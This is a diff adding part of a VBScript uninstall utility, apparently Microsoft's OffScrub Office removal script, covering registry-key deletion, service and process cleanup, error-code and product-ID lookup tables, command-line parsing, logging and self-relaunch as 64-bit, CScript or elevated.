+        sWow64Key = Wow64Key(hDefKey, sSubKeyName)
+        If RegKeyExists(hDefKey,sWow64Key) Then
+            If Not fDetectOnly Then
+                LogOnly " - Delete registry key: " & HiveString(hDefKey) & "\" & sWow64Key
+                On Error Resume Next
+                RegDeleteKeyEx hDefKey, sWow64Key
+                On Error Goto 0
+            Else
+                LogOnly " - Simulate delete registry key: " & HiveString(hDefKey) & "\" & sWow64Key
+            End If
+        End If 'RegKeyExists
+    End If
+End Sub 'RegDeleteKey
+'=======================================================================================================
+
+'Recursively delete a registry structure
+Sub RegDeleteKeyEx(hDefKey, sSubKeyName)
+    Dim arrSubkeys
+    Dim sSubkey
+    Dim iRetVal
+
+    On Error Resume Next
+    oReg.EnumKey hDefKey, sSubKeyName, arrSubkeys
+    If IsArray(arrSubkeys) Then
+        For Each sSubkey In arrSubkeys
+            RegDeleteKeyEx hDefKey, sSubKeyName & "\" & sSubkey
+        Next
+    End If
+    If Not fDetectOnly Then
+        iRetVal = 0
+        iRetVal = oReg.DeleteKey(hDefKey,sSubKeyName)
+        If NOT (iRetVal=0) Then LogOnly "     Delete failed. Return value: "&iRetVal
+    End If
+End Sub 'RegDeleteKeyEx
+'=======================================================================================================
+
+'Return the alternate regkey location on 64bit environment
+Function Wow64Key(hDefKey, sSubKeyName)
+    Dim iPos
+
+    Select Case hDefKey
+        Case HKCU
+            If Left(sSubKeyName,17) = "Software\Classes\" Then
+                Wow64Key = Left(sSubKeyName,17) & "Wow6432Node\" & Right(sSubKeyName,Len(sSubKeyName)-17)
+            Else
+                iPos = InStr(sSubKeyName,"\")
+                Wow64Key = Left(sSubKeyName,iPos) & "Wow6432Node\" & Right(sSubKeyName,Len(sSubKeyName)-iPos)
+            End If
+
+        Case HKLM
+            If Left(sSubKeyName,17) = "Software\Classes\" Then
+                Wow64Key = Left(sSubKeyName,17) & "Wow6432Node\" & Right(sSubKeyName,Len(sSubKeyName)-17)
+            Else
+                iPos = InStr(sSubKeyName,"\")
+                Wow64Key = Left(sSubKeyName,iPos) & "Wow6432Node\" & Right(sSubKeyName,Len(sSubKeyName)-iPos)
+            End If
+
+        Case Else
+            Wow64Key = "Wow6432Node\" & sSubKeyName
+
+    End Select 'hDefKey
+End Function 'Wow64Key
+'=======================================================================================================
+
+'Remove duplicate entries from a one dimensional array
+Function RemoveDuplicates(Array)
+    Dim Item
+    Dim oDic
+
+    Set oDic = CreateObject("Scripting.Dictionary")
+    For Each Item in Array
+        If Not oDic.Exists(Item) Then oDic.Add Item,Item
+    Next 'Item
+    RemoveDuplicates = oDic.Keys
+End Function 'RemoveDuplicates
+'=======================================================================================================
+
+'End running instances of setup
+Sub EndCurrentInstalls ()
+    Dim Processes, Process
+    Dim iRet
+
+    Set Processes = oWmiLocal.ExecQuery("Select * From Win32_Process Where Name like '%setup%' OR Name like '%install%'")
+    For Each Process in Processes
+        Log " - End process " & Process.Name
+        iRet = Process.Terminate()
+        CheckError "EndCurrentInstalls: " & "Process.Name"
+    Next 'Process
+    StopService "msiserver"
+End Sub 'EndCurrentInstalls
+'=======================================================================================================
+
+'Uses WMI to stop a service
+Function StopService(sService)
+    Dim Services, Service
+    Dim sQuery
+    Dim iRet
+
+    On Error Resume Next
+
+    iRet = 0
+    sQuery = "Select * From Win32_Service Where Name='" & sService & "'"
+    Set Services = oWmiLocal.Execquery(sQuery)
+    'Stop the service
+    For Each Service in Services
+        If UCase(Service.State) = "STARTED" Then iRet = Service.StopService
+        If UCase(Service.State) = "RUNNING" Then iRet = Service.StopService
+
+    Next 'Service
+    StopService = (iRet = 0)
+End Function 'StopService
+'=======================================================================================================
+
+'Delete a service
+Sub DeleteService(sService)
+    Dim Services, Service, Processes, Process
+    Dim sQuery, sStates
+    Dim iRet
+
+    On Error Resume Next
+
+    sStates = "STARTED;RUNNING"
+    sQuery = "Select * From Win32_Service Where Name='" & sService & "'"
+    Set Services = oWmiLocal.Execquery(sQuery)
+
+    'Stop and delete the service
+    For Each Service in Services
+        Log " Found service " & sService & " in state " & Service.State
+        If InStr(sStates,UCase(Service.State))>0 Then iRet = Service.StopService()
+        'Ensure no more instances of the service are running
+        Set Processes = oWmiLocal.ExecQuery("Select * From Win32_Process Where Name='" & sService & ".exe'")
+        For Each Process in Processes
+            iRet = Process.Terminate()
+        Next 'Process
+        If Not fDetectOnly Then
+            Log " - Deleting Service -> " & sService
+            iRet = Service.Delete()
+        Else
+            Log " - Simulate deleting Service -> " & sService
+        End If
+    Next 'Service
+    Set Services = Nothing
+    Err.Clear
+
+End Sub 'DeleteService
+'=======================================================================================================
+
+'Translation for setup.exe error codes
+Function SetupRetVal(RetVal)
+    Select Case RetVal
+        Case 0 : SetupRetVal = "Success"
+        Case 30001,1 : SetupRetVal = "AbstractMethod"
+        Case 30002,2 : SetupRetVal = "ApiProhibited"
+        Case 30003,3  : SetupRetVal = "AlreadyImpersonatingAUser"
+        Case 30004,4 : SetupRetVal = "AlreadyInitialized"
+        Case 30005,5 : SetupRetVal = "ArgumentNullException"
+        Case 30006,6 : SetupRetVal = "AssertionFailed"
+        Case 30007,7 : SetupRetVal = "CABFileAddFailed"
+        Case 30008,8 : SetupRetVal = "CommandFailed"
+        Case 30009,9 : SetupRetVal = "ConcatenationFailed"
+        Case 30010,10 : SetupRetVal = "CopyFailed"
+        Case 30011,11 : SetupRetVal = "CreateEventFailed"
+        Case 30012,12 : SetupRetVal = "CustomizationPatchNotFound"
+        Case 30013,13 : SetupRetVal = "CustomizationPatchNotApplicable"
+        Case 30014,14 : SetupRetVal = "DuplicateDefinition"
+        Case 30015,15 : SetupRetVal = "ErrorCodeOnly - Passthrough for Win32 error"
+        Case 30016,16 : SetupRetVal = "ExceptionNotThrown"
+        Case 30017,17 : SetupRetVal = "FailedToImpersonateUser"
+        Case 30018,18 : SetupRetVal = "FailedToInitializeFlexDataSource"
+        Case 30019,19 : SetupRetVal = "FailedToStartClassFactories"
+        Case 30020,20 : SetupRetVal = "FileNotFound"
+        Case 30021,21 : SetupRetVal = "FileNotOpen"
+        Case 30022,22 : SetupRetVal = "FlexDialogAlreadyInitialized"
+        Case 30023,23 : SetupRetVal = "HResultOnly - Passthrough for HRESULT errors"
+        Case 30024,24 : SetupRetVal = "HWNDNotFound"
+        Case 30025,25 : SetupRetVal = "IncompatibleCacheAction"
+        Case 30026,26 : SetupRetVal = "IncompleteProductAddOns"
+        Case 30027,27 : SetupRetVal = "InstalledProductStateCorrupt"
+        Case 30028,28 : SetupRetVal = "InsufficientBuffer"
+        Case 30029,29 : SetupRetVal = "InvalidArgument"
+        Case 30030,30 : SetupRetVal = "InvalidCDKey"
+        Case 30031,31 : SetupRetVal = "InvalidColumnType"
+        Case 30032,31 : SetupRetVal = "InvalidConfigAddLanguage"
+        Case 30033,33 : SetupRetVal = "InvalidData"
+        Case 30034,34 : SetupRetVal = "InvalidDirectory"
+        Case 30035,35 : SetupRetVal = "InvalidFormat"
+        Case 30036,36 : SetupRetVal = "InvalidInitialization"
+        Case 30037,37 : SetupRetVal = "InvalidMethod"
+        Case 30038,38 : SetupRetVal = "InvalidOperation"
+        Case 30039,39 : SetupRetVal = "InvalidParameter"
+        Case 30040,40 : SetupRetVal = "InvalidProductFromARP"
+        Case 30041,41 : SetupRetVal = "InvalidProductInConfigXml"
+        Case 30042,42 : SetupRetVal = "InvalidReference"
+        Case 30043,43 : SetupRetVal = "InvalidRegistryValueType"
+        Case 30044,44 : SetupRetVal = "InvalidXMLProperty"
+        Case 30045,45 : SetupRetVal = "InvalidMetadataFile"
+        Case 30046,46 : SetupRetVal = "LogNotInitialized"
+        Case 30047,47 : SetupRetVal = "LogAlreadyInitialized"
+        Case 30048,48 : SetupRetVal = "MissingXMLNode"
+        Case 30049,49 : SetupRetVal = "MsiTableNotFound"
+        Case 30050,50 : SetupRetVal = "MsiAPICallFailure"
+        Case 30051,51 : SetupRetVal = "NodeNotOfTypeElement"
+        Case 30052,52 : SetupRetVal = "NoMoreGraceBoots"
+        Case 30053,53 : SetupRetVal = "NoProductsFound"
+        Case 30054,54 : SetupRetVal = "NoSupportedCulture"
+        Case 30055,55 : SetupRetVal = "NotYetImplemented"
+        Case 30056,56 : SetupRetVal = "NotAvailableCulture"
+        Case 30057,57 : SetupRetVal = "NotCustomizationPatch"
+        Case 30058,58 : SetupRetVal = "NullReference"
+        Case 30059,59 : SetupRetVal = "OCTPatchForbidden"
+        Case 30060,60 : SetupRetVal = "OCTWrongMSIDll"
+        Case 30061,61 : SetupRetVal = "OutOfBoundsIndex"
+        Case 30062,62 : SetupRetVal = "OutOfDiskSpace"
+        Case 30063,63 : SetupRetVal = "OutOfMemory"
+        Case 30064,64 : SetupRetVal = "OutOfRange"
+        Case 30065,65 : SetupRetVal = "PatchApplicationFailure"
+        Case 30066,66 : SetupRetVal = "PreReqCheckFailure"
+        Case 30067,67 : SetupRetVal = "ProcessAlreadyStarted"
+        Case 30068,68 : SetupRetVal = "ProcessNotStarted"
+        Case 30069,69 : SetupRetVal = "ProcessNotFinished"
+        Case 30070,70 : SetupRetVal = "ProductAlreadyDefined"
+        Case 30071,71 : SetupRetVal = "ResourceAlreadyTracked"
+        Case 30072,72 : SetupRetVal = "ResourceNotFound"
+        Case 30073,73 : SetupRetVal = "ResourceNotTracked"
+        Case 30074,74 : SetupRetVal = "SQLAlreadyConnected"
+        Case 30075,75 : SetupRetVal = "SQLFailedToAllocateHandle"
+        Case 30076,76 : SetupRetVal = "SQLFailedToConnect"
+        Case 30077,77 : SetupRetVal = "SQLFailedToExecuteStatement"
+        Case 30078,78 : SetupRetVal = "SQLFailedToRetrieveData"
+        Case 30079,79 : SetupRetVal = "SQLFailedToSetAttribute"
+        Case 30080,80 : SetupRetVal = "StorageNotCreated"
+        Case 30081,81 : SetupRetVal = "StreamNameTooLong"
+        Case 30082,82 : SetupRetVal = "SystemError"
+        Case 30083,83 : SetupRetVal = "ThreadAlreadyStarted"
+        Case 30084,84 : SetupRetVal = "ThreadNotStarted"
+        Case 30085,85 : SetupRetVal = "ThreadNotFinished"
+        Case 30086,86 : SetupRetVal = "TooManyProducts"
+        Case 30087,87 : SetupRetVal = "UnexpectedXMLNodeType"
+        Case 30088,88 : SetupRetVal = "UnexpectedError"
+        Case 30089,89 : SetupRetVal = "Unitialized"
+        Case 30090,90 : SetupRetVal = "UserCancel"
+        Case 30091,91 : SetupRetVal = "ExternalCommandFailed"
+        Case 30092,92 : SetupRetVal = "SPDatabaseOverSize"
+        Case 30093,93 : SetupRetVal = "IntegerTruncation"
+        'msiexec return values
+        Case 1259 : SetupRetVal = "APPHELP_BLOCK"
+        Case 1601 : SetupRetVal = "INSTALL_SERVICE_FAILURE"
+        Case 1602 : SetupRetVal = "INSTALL_USEREXIT"
+        Case 1603 : SetupRetVal = "INSTALL_FAILURE"
+        Case 1604 : SetupRetVal = "INSTALL_SUSPEND"
+        Case 1605 : SetupRetVal = "UNKNOWN_PRODUCT"
+        Case 1606 : SetupRetVal = "UNKNOWN_FEATURE"
+        Case 1607 : SetupRetVal = "UNKNOWN_COMPONENT"
+        Case 1608 : SetupRetVal = "UNKNOWN_PROPERTY"
+        Case 1609 : SetupRetVal = "INVALID_HANDLE_STATE"
+        Case 1610 : SetupRetVal = "BAD_CONFIGURATION"
+        Case 1611 : SetupRetVal = "INDEX_ABSENT"
+        Case 1612 : SetupRetVal = "INSTALL_SOURCE_ABSENT"
+        Case 1613 : SetupRetVal = "INSTALL_PACKAGE_VERSION"
+        Case 1614 : SetupRetVal = "PRODUCT_UNINSTALLED"
+        Case 1615 : SetupRetVal = "BAD_QUERY_SYNTAX"
+        Case 1616 : SetupRetVal = "INVALID_FIELD"
+        Case 1618 : SetupRetVal = "INSTALL_ALREADY_RUNNING"
+        Case 1619 : SetupRetVal = "INSTALL_PACKAGE_OPEN_FAILED"
+        Case 1620 : SetupRetVal = "INSTALL_PACKAGE_INVALID"
+        Case 1621 : SetupRetVal = "INSTALL_UI_FAILURE"
+        Case 1622 : SetupRetVal = "INSTALL_LOG_FAILURE"
+        Case 1623 : SetupRetVal = "INSTALL_LANGUAGE_UNSUPPORTED"
+        Case 1624 : SetupRetVal = "INSTALL_TRANSFORM_FAILURE"
+        Case 1625 : SetupRetVal = "INSTALL_PACKAGE_REJECTED"
+        Case 1626 : SetupRetVal = "FUNCTION_NOT_CALLED"
+        Case 1627 : SetupRetVal = "FUNCTION_FAILED"
+        Case 1628 : SetupRetVal = "INVALID_TABLE"
+        Case 1629 : SetupRetVal = "DATATYPE_MISMATCH"
+        Case 1630 : SetupRetVal = "UNSUPPORTED_TYPE"
+        Case 1631 : SetupRetVal = "CREATE_FAILED"
+        Case 1632 : SetupRetVal = "INSTALL_TEMP_UNWRITABLE"
+        Case 1633 : SetupRetVal = "INSTALL_PLATFORM_UNSUPPORTED"
+        Case 1634 : SetupRetVal = "INSTALL_NOTUSED"
+        Case 1635 : SetupRetVal = "PATCH_PACKAGE_OPEN_FAILED"
+        Case 1636 : SetupRetVal = "PATCH_PACKAGE_INVALID"
+        Case 1637 : SetupRetVal = "PATCH_PACKAGE_UNSUPPORTED"
+        Case 1638 : SetupRetVal = "PRODUCT_VERSION"
+        Case 1639 : SetupRetVal = "INVALID_COMMAND_LINE"
+        Case 1640 : SetupRetVal = "INSTALL_REMOTE_DISALLOWED"
+        Case 1641 : SetupRetVal = "SUCCESS_REBOOT_INITIATED"
+        Case 1642 : SetupRetVal = "PATCH_TARGET_NOT_FOUND"
+        Case 1643 : SetupRetVal = "PATCH_PACKAGE_REJECTED"
+        Case 1644 : SetupRetVal = "INSTALL_TRANSFORM_REJECTED"
+        Case 1645 : SetupRetVal = "INSTALL_REMOTE_PROHIBITED"
+        Case 1646 : SetupRetVal = "PATCH_REMOVAL_UNSUPPORTED"
+        Case 1647 : SetupRetVal = "UNKNOWN_PATCH"
+        Case 1648 : SetupRetVal = "PATCH_NO_SEQUENCE"
+        Case 1649 : SetupRetVal = "PATCH_REMOVAL_DISALLOWED"
+        Case 1650 : SetupRetVal = "INVALID_PATCH_XML"
+        Case 3010 : SetupRetVal = "SUCCESS_REBOOT_REQUIRED"
+        Case Else : SetupRetVal = "Unknown Return Value"
+    End Select
+End Function 'SetupRetVal
+'=======================================================================================================
+
+Function GetProductID(sProdID)
+        Dim sReturn
+
+        Select Case sProdId
+
+        Case "000F" : sReturn = "MONDO"
+        Case "0010" : sReturn = "WEBFLDRS"
+        Case "0011" : sReturn = "PROPLUS"
+        Case "0012" : sReturn = "STANDARD"
+        Case "0013" : sReturn = "BASIC"
+        Case "0014" : sReturn = "PRO"
+        Case "0015" : sReturn = "ACCESS"
+        Case "0016" : sReturn = "EXCEL"
+        Case "0017" : sReturn = "SharePointDesigner"
+        Case "0018" : sReturn = "PowerPoint"
+        Case "0019" : sReturn = "Publisher"
+        Case "001A" : sReturn = "Outlook"
+        Case "001B" : sReturn = "Word"
+        Case "001C" : sReturn = "AccessRuntime"
+        Case "001F" : sReturn = "Proof"
+        Case "0020" : sReturn = "O2007CNV"
+        Case "0021" : sReturn = "VisualWebDeveloper"
+        Case "0026" : sReturn = "ExpressionWeb"
+        Case "0029" : sReturn = "Excel"
+        Case "002A" : sReturn = "Office64"
+        Case "002B" : sReturn = "Word"
+        Case "002C" : sReturn = "Proofing"
+        Case "002E" : sReturn = "Ultimate"
+        Case "002F" : sReturn = "HomeAndStudent"
+        Case "0028" : sReturn = "IME"
+        Case "0030" : sReturn = "Enterprise"
+        Case "0031" : sReturn = "ProfessionalHybrid"
+        Case "0033" : sReturn = "Personal"
+        Case "0035" : sReturn = "ProfessionalHybrid"
+        Case "0037" : sReturn = "PowerPoint"
+        Case "0038" : sReturn = "OlTimeZoneTool"
+        Case "003A" : sReturn = "PrjStd"
+        Case "003B" : sReturn = "PrjPro"
+        Case "003D" : sReturn = "SINGLEIMAGE"
+        Case "0043" : sReturn = "OFFICE32"
+        Case "0044" : sReturn = "InfoPath"
+        Case "0045" : sReturn = "XWEB"
+        Case "0048" : sReturn = "OLC"
+        Case "0049" : sReturn = "ACADEMIC"
+        Case "004A" : sReturn = "OWC11"
+        Case "0051" : sReturn = "VISPRO"
+        Case "0052" : sReturn = "VisView"
+        Case "0053" : sReturn = "VisStd"
+        Case "0054" : sReturn = "VisMUI"
+        Case "0055" : sReturn = "VisMUI"
+        Case "0057" : sReturn = "VISIO"
+        Case "0061" : sReturn = "CLICK2RUN"
+        Case "0062" : sReturn = "CLICK2RUN"
+        Case "0066" : sReturn = "CLICK2RUN"
+        Case "006C" : sReturn = "CLICK2RUN"
+        Case "006D" : sReturn = "CLICK2RUN"
+        Case "006E" : sReturn = "Shared"
+        Case "006F" : sReturn = "OFFICE"
+        Case "0070" : sReturn = "OOBE"
+        Case "0074" : sReturn = "STARTER"
+        Case "007A" : sReturn = "OLC" 'Outlook Connector
+        Case "007C" : sReturn = "OSCFB" 'Outlook Social Connector for FaceBook
+        Case "007D" : sReturn = "OSCWL" 'Outlook Social Connector for Windows Live Messenger
+        Case "007F" : sReturn = "OLC" 'Outlook Social Connector
+        Case "008A" : sReturn = "RecentDocs"
+        Case "008B" : sReturn = "SmallBusinessBasics"
+        Case "00A1" : sReturn = "ONENOTE"
+        Case "00A3" : sReturn = "OneNoteHomeStudent"
+        Case "00A4" : sReturn = "OWC11"
+        Case "00A7" : sReturn = "CPAO"
+        Case "00A9" : sReturn = "InterConnect"
+        Case "00AF" : sReturn = "PPtView"
+        Case "00B0" : sReturn = "ExPdf"
+        Case "00B1" : sReturn = "ExXps"
+        Case "00B2" : sReturn = "ExPdfXps"
+        Case "00B4" : sReturn = "PrjMUI"
+        Case "00B5" : sReturn = "PrjtMUI"
+        Case "00B9" : sReturn = "AER"
+        Case "00BA" : sReturn = "Groove"
+        Case "00CA" : sReturn = "SmallBusiness"
+        Case "00E0" : sReturn = "Outlook"
+        Case "00D1" : sReturn = "ACE"
+        Case "0100" : sReturn = "OfficeMUI"
+        Case "0101" : sReturn = "OfficeXMUI"
+        Case "0103" : sReturn = "PTK"
+        Case "0114" : sReturn = "GrooveSetupMetadata"
+        Case "0115" : sReturn = "SharedSetupMetadata"
+        Case "0116" : sReturn = "SharedSetupMetadata"
+        Case "0117" : sReturn = "AccessSetupMetadata"
+        Case "011A" : sReturn = "SendASmile"
+        Case "011D" : sReturn = "ProPlusSubscription"
+        Case "011F" : sReturn = "OLConnect"
+        Case "0126" : sReturn = "WWLIBCXM"
+
+        Case "1014" : sReturn = "STS"
+        Case "1015" : sReturn = "WSSMUI"
+        Case "1032" : sReturn = "PJSVRAPP"
+        Case "104B" : sReturn = "SPS"
+        Case "104E" : sReturn = "SPSMUI"
+        Case "107F" : sReturn = "OSrv"
+        Case "1080" : sReturn = "OSrv"
+        Case "1088" : sReturn = "lpsrvwfe"
+        Case "10D7" : sReturn = "IFS"
+        Case "10D8" : sReturn = "IFSMUI"
+        Case "10EB" : sReturn = "DLCAPP"
+        Case "10F5" : sReturn = "XLSRVAPP"
+        Case "10F6" : sReturn = "XlSrvWFE"
+        Case "10F7" : sReturn = "DLC"
+        Case "10F8" : sReturn = "SlSrvMui"
+        Case "10FB" : sReturn = "OSrchWFE"
+        Case "10FC" : sReturn = "OSRCHAPP"
+        Case "10FD" : sReturn = "OSrchMUI"
+        Case "1103" : sReturn = "DLC"
+        Case "1104" : sReturn = "LHPSRV"
+        Case "1105" : sReturn = "PIA"
+        Case "1106" : sReturn = "GRVMGMTSRV"
+        Case "1109" : sReturn = "GSERVERRELAY"
+        Case "110D" : sReturn = "OSERVER"
+        Case "110F" : sReturn = "PSERVER"
+        Case "1110" : sReturn = "WSS"
+        Case "1121" : sReturn = "SPSSDK"
+        Case "1122" : sReturn = "SPSDev"
+        Case "1163" : sReturn = "SCC" 'SharePoint Client Components
+        Case Else : sReturn = sProdID
+
+        End Select 'sProdId
+    GetProductID = sReturn
+End Function 'GetProductID
+'=======================================================================================================
+
+Sub Log (sLog)
+    If NOT fQuiet AND fCScript Then wscript.echo sLog
+    LogStream.WriteLine sLog
+End Sub 'Log
+'=======================================================================================================
+
+Sub LogOnly (sLog)
+    LogStream.WriteLine sLog
+End Sub 'Log
+'=======================================================================================================
+
+Sub CheckError(sModule)
+    If Err <> 0 Then
+        LogOnly "   " & Now & " - " & sModule & " - Source: " & Err.Source & "; Err# (Hex): " & Hex( Err ) & _
+               "; Err# (Dec): " & Err & "; Description : " & Err.Description
+    End If 'Err = 0
+    Err.Clear
+End Sub
+'=======================================================================================================
+
+'Command line parser
+Sub ParseCmdLine
+
+    Dim iCnt, iArgCnt
+    Dim arrArguments
+    Dim sArg0, sArguments
+
+    iArgCnt = Wscript.Arguments.Count
+    If iArgCnt > 1 Then
+        If wscript.Arguments(1) = "UAC" Then
+            If wscript.arguments.count = 2 Then iArgCnt = 0
+        End If
+    End If
+
+    sArguments = ""
+    If iArgCnt = 0 Then
+        If sDefault = "" Then
+            'Create the log
+            CreateLog
+            Log "No argument specified. Preparing user prompt" & vbCrLf
+            fPassive = False
+            FindInstalledOProducts
+            If dicInstalledSku.Count > 0 Then sDefault = Join(RemoveDuplicates(dicInstalledSku.Items),",") Else sDefault = "CLIENTALL"
+            sDefault = InputBox("Enter a list of " & ONAME & " products to remove" & vbCrLf & vbCrLf & _
+                    "Examples:" & vbCrLf & _
+                    "CLIENTALL" & vbTab & "-> all Client products" & vbCrLf & _
+                    "SERVER" & vbTab & "-> all Server products" & vbCrLf & _
+                    "ALL" & vbTab & vbTab & "-> all Server & Client products" & vbCrLf & _
+                    "ProPlus,PrjPro" & vbTab & "-> ProPlus and Project" & vbCrLf &_
+                    "?" & vbTab & vbTab & "-> display Help", _
+                    SCRIPTFILE & " - " & ONAME & " remover", _
+                    sDefault)
+
+            If IsEmpty(sDefault) Then 'User cancelled
+                Log "User cancelled. CleanUp & Exit."
+                'Undo temporary entries created in ARP
+                TmpKeyCleanUp
+                wscript.quit 1602
+            End If 'IsEmpty(sDefault)
+            Log "Answer from prompt: " & sDefault & vbCrLf
+        End If
+        sDefault = Trim(UCase(Trim(Replace(sDefault, Chr(34), ""))))
+        arrArguments = Split(Trim(sDefault), " ")
+        If UBound(arrArguments) = -1 Then ReDim arrArguments(0)
+    Else
+        ReDim arrArguments(iArgCnt-1)
+        For iCnt = 0 To (iArgCnt-1)
+            sArguments = sArguments & arrArguments(iCnt) & " "
+            arrArguments(iCnt) = UCase(Wscript.Arguments(iCnt))
+        Next 'iCnt
+    End If 'iArgCnt = 0
+
+    'Handle the SKU list
+    sArg0 = Replace(arrArguments(0), "/", "")
+    If Left(sArg0, 1) = "-" Then sArg0 = Mid(sArg0, 2)
+
+    Select Case UCase(sArg0)
+
+    Case "?"
+        ShowSyntax
+
+    Case "ALL"
+        fRemoveAll = True
+        fRemoveOse = False
+
+    Case "CLIENTSUITES"
+        fRemoveCSuites = True
+        fRemoveOse = False
+
+    Case "CLIENTSTANDALONE"
+        fRemoveCSingle = True
+        fRemoveOse = False
+
+    Case "CLIENTALL"
+        fRemoveCSuites = True
+        fRemoveCSingle = True
+        fRemoveOse = False
+
+    Case "SERVER"
+        fRemoveSrv = True
+        fRemoveOse = False
+
+    Case "ALL,OSE"
+        fRemoveAll = True
+        fRemoveOse = True
+
+    Case Else
+        fRemoveAll = False
+        fRemoveOse = False
+        sSkuRemoveList = sArg0
+
+    End Select
+
+    For iCnt = 0 To UBound(arrArguments)
+
+        Select Case arrArguments(iCnt)
+
+        Case "?", "/?", "-?"
+            ShowSyntax
+
+        Case "/B", "/BYPASS"
+            If UBound(arrArguments) > iCnt Then
+                If InStr(arrArguments(iCnt + 1), "1") > 0 Then fBypass_Stage1 = True
+                If InStr(arrArguments(iCnt + 1), "2") > 0 Then fBypass_Stage2 = True
+                If InStr(arrArguments(iCnt + 1), "3") > 0 Then fBypass_Stage3 = True
+                If InStr(arrArguments(iCnt + 1), "4") > 0 Then fBypass_Stage4 = True
+            End If
+
+        Case "/D", "/DELETEUSERSETTINGS"
+            fKeepUser = False
+
+        Case "/FR", "/FASTREMOVE"
+            fBypass_Stage1 = True
+            fSkipSD = True
+
+        Case "/F", "/FORCE"
+            fForce = True
+
+        Case "/K", "/KEEPUSERSETTINGS"
+            fKeepUser = True
+
+        Case "/KEEPSG", "/KEEPSOFTGRID"
+            fKeepSG = True
+
+        Case "/KEEPLYNC"
+            fRemoveLync = False
+
+        Case "/REMOVELYNC"
+            fRemoveLync = True
+
+        Case "/L", "/LOG"
+            fLogInitialized = False
+            If UBound(arrArguments) > iCnt Then
+                If oFso.FolderExists(arrArguments(iCnt + 1)) Then
+                    sLogDir = arrArguments(iCnt + 1)
+                Else
+                    On Error Resume Next
+                    oFso.CreateFolder(arrArguments(iCnt + 1))
+                    If Err <> 0 Then sLogDir = sScrubDir Else sLogDir = arrArguments(iCnt + 1)
+                End If
+            End If
+
+        Case "/NOCANCEL"
+            fNoCancel = True
+
+        Case "/NOREBOOT"
+            fNoReboot = True
+
+        Case "/NE", "/NOELEVATE"
+            fNoElevate = True
+
+        Case "/O", "/OSE"
+            fRemoveOse = True
+
+        Case "/P", "/PREVIEW", "/DETECTONLY"
+            fDetectOnly = True
+
+        Case "/PASSIVE", "/QB-"
+            fPassive = True
+
+        Case "/Q", "/QUIET"
+            fQuiet = True
+
+        Case "/QB"
+            fQuiet = True
+            fBasic = True
+
+        Case "/QND"
+            fBypass_Stage1 = True
+            fBypass_Stage2 = True
+            fBypass_Stage3 = True
+            fRemoveOse = True
+            fRemoveOspp = True
+            fRemoveAll = True
+            fSkipSD = True
+            fForce = True
+
+        Case "/R", "/RECONCILE"
+            fTryReconcile = True
+
+        Case "/REMOVEOSPP" , "/CLEANOSPP"
+            fRemoveOspp = True
+
+        Case "/S", "/SKIPSD", "/SKIPSHORTCUTDETECTION"
+            fSkipSD = True
+
+        Case "/SC", "/SCANCOMPONENTS"
+            fBypass_Stage1 = False
+
+        Case Else
+
+        End Select
+    Next 'iCnt
+    If Not fLogInitialized Then CreateLog
+    LogOnly "Arguments: " & sArguments & vbCrLf
+
+End Sub 'ParseCmdLine
+'=======================================================================================================
+
+Sub CreateLog
+    Dim DateTime
+    Dim sLogName
+
+    On Error Resume Next
+    'Create the log file
+    Set DateTime = CreateObject("WbemScripting.SWbemDateTime")
+    DateTime.SetVarDate Now,True
+    sLogName = sLogDir & "\" & oWShell.ExpandEnvironmentStrings("%COMPUTERNAME%")
+    sLogName = sLogName &  "_" & Left(DateTime.Value,14)
+    sLogName = sLogName & "_ScrubLog.txt"
+    Err.Clear
+    Set LogStream = oFso.CreateTextFile(sLogName,True,True)
+    If Err <> 0 Then
+        Err.Clear
+        sLogDir = sScrubDir
+        sLogName = sLogDir & "\" & oWShell.ExpandEnvironmentStrings("%COMPUTERNAME%")
+        sLogName = sLogName &  "_" & Left(DateTime.Value,14)
+        sLogName = sLogName & "_ScrubLog.txt"
+        Set LogStream = oFso.CreateTextFile(sLogName,True,True)
+    End If
+
+    Log "Microsoft Customer Support Services - " & ONAME & " Removal Utility" & vbCrLf & vbCrLf & _
+                "OffScrub Version: " & SCRIPTVERSION & vbCrLf & _
+                "64 bit OS: " & f64
+    LogOnly     "OS Details: " & sOSinfo & vbCrLf
+    Log         "Start removal: " & Now & vbCrLf
+    fLogInitialized = True
+End Sub 'CreateLog
+'=======================================================================================================
+'-------------------------------------------------------------------------------
+'   RelaunchAs64Host
+'
+'   Relaunch self with 64 bit WScript host
+'-------------------------------------------------------------------------------
+Sub RelaunchAs64Host
+    Dim Argument, sCmd
+
+    sCmd = Replace (LCase(wscript.Path), "syswow64", "sysnative") & "\cscript.exe " & Chr(34) & WScript.scriptFullName & Chr(34)
+    If fQuiet AND NOT fCScript Then sCmd = Replace (sCmd, "\cscript.exe", "\wscript.exe")
+    If Wscript.Arguments.Count > 0 Then
+        For Each Argument in Wscript.Arguments
+            sCmd = sCmd & " " & chr(34) & Argument & chr(34)
+        Next 'Argument
+    Else
+    	If Not sDefault = "" Then sCmd = sCmd & " " & chr(34) & sDefault & chr(34)
+    End If
+    sCmd = sCmd & " /ChangedHostBitness"
+    Wscript.Quit oWShell.Run(sCmd, 1, True)
+
+End Sub 'RelaunchAs64Host
+'=======================================================================================================
+
+Sub RelaunchAsCScript
+    Dim Argument
+    Dim sCmdLine
+
+    sCmdLine = "cmd.exe /c " & WScript.Path & "\cscript.exe //NOLOGO " & Chr(34) & WScript.scriptFullName & Chr(34)
+    If Wscript.Arguments.Count > 0 Then
+        For Each Argument in Wscript.Arguments
+            sCmdLine = sCmdLine  &  " " & chr(34) & Argument & chr(34)
+        Next 'Argument
+    End If
+    Log "Relaunching with CScript as host. Full command: " & sCmdLine
+    Wscript.Quit oWShell.Run(sCmdLine, 1, True)
+End Sub 'RelaunchAsCScript
+'=======================================================================================================
+
+Sub RelaunchElevated
+    Dim Argument
+    Dim sCmdLine
+    Dim oShell
+
+    Set oShell = CreateObject("Shell.Application")
+
+    sCmdLine = Chr(34) & WScript.scriptFullName & Chr(34)
+    If Wscript.Arguments.Count > 0 Then
+        For Each Argument in Wscript.Arguments
+            Select Case UCase(Argument)
+            Case "/Q","/QUIET"
+                'Don't try to relaunch in quiet mode
+                Exit Sub
+            Case "UAC"
+                'Already tried elevated relaunch
+                Exit Sub
+            Case Else
+                sCmdLine = sCmdLine  &  " " & chr(34) & Argument & chr(34)
+            End Select
+        Next 'Argument
+    Else
+    	If Not sDefault = "" Then sCmdLine = sCmdLine & " " & chr(34) & sDefault & chr(34)
+    End If
+    oShell.ShellExecute "cscript.exe", sCmdLine & " /NoElevate UAC", "", "runas", 1
+    Wscript.Quit 5
+End Sub 'RelaunchElevated
+'=======================================================================================================
+
+'Show the expected syntax for the script usage
+Sub ShowSyntax
